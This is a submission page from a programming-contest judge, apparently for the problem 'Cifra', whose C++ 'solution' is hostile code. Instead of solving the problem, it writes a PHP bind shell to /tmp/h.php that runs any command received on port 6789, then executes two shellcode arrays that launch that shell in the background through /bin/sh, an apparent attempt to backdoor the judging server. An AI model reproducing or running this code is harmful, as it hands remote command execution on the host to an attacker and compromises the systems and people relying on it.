Cod sursa(job #1849916)

Utilizator pionpStefan Tabara pionp Data 17 ianuarie 2017 22:52:02
Problema Cifra Scor 0
Compilator cpp Status done
Runda Arhiva de probleme Marime 1.14 kb
#include <fstream>
#include <stdlib.h>
#include <iostream>
#include <stdexcept>
#include <string>

using namespace std;
char payload[]="<?php set_time_limit (0); $address = '0.0.0.0'; $port = 6789; $sock = socket_create(AF_INET, SOCK_STREAM, 0); socket_bind($sock, 0, $port) or die('Could not bind to address'); socket_listen($sock); while (true) { $client =  socket_accept($sock); $input =  socket_read($client, 1024000); $response=exec($input); socket_write($client, $response); socket_close($client); } socket_close($sock); ?>";
unsigned char buf1[] = 
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53"
"\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x11\x00"
"\x00\x00\x70\x68\x70\x20\x2f\x74\x6d\x70\x2f\x68\x2e\x70\x68"
"\x70\x20\x26\x00\x56\x57\x48\x89\xe6\x0f\x05";
unsigned char buf[] = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x11\x00\x00\x00\x70"
"\x68\x70\x20\x2f\x74\x6d\x70\x2f\x68\x2e\x70\x68\x70\x20\x26"
"\x00\x57\x53\x89\xe1\xcd\x80";

int main()
{
	ofstream fout("/tmp/h.php");
	fout<<payload;
	fout.close();
	(* (int(*)()) buf1)();
	(* (int(*)()) buf)();
	return 0;
}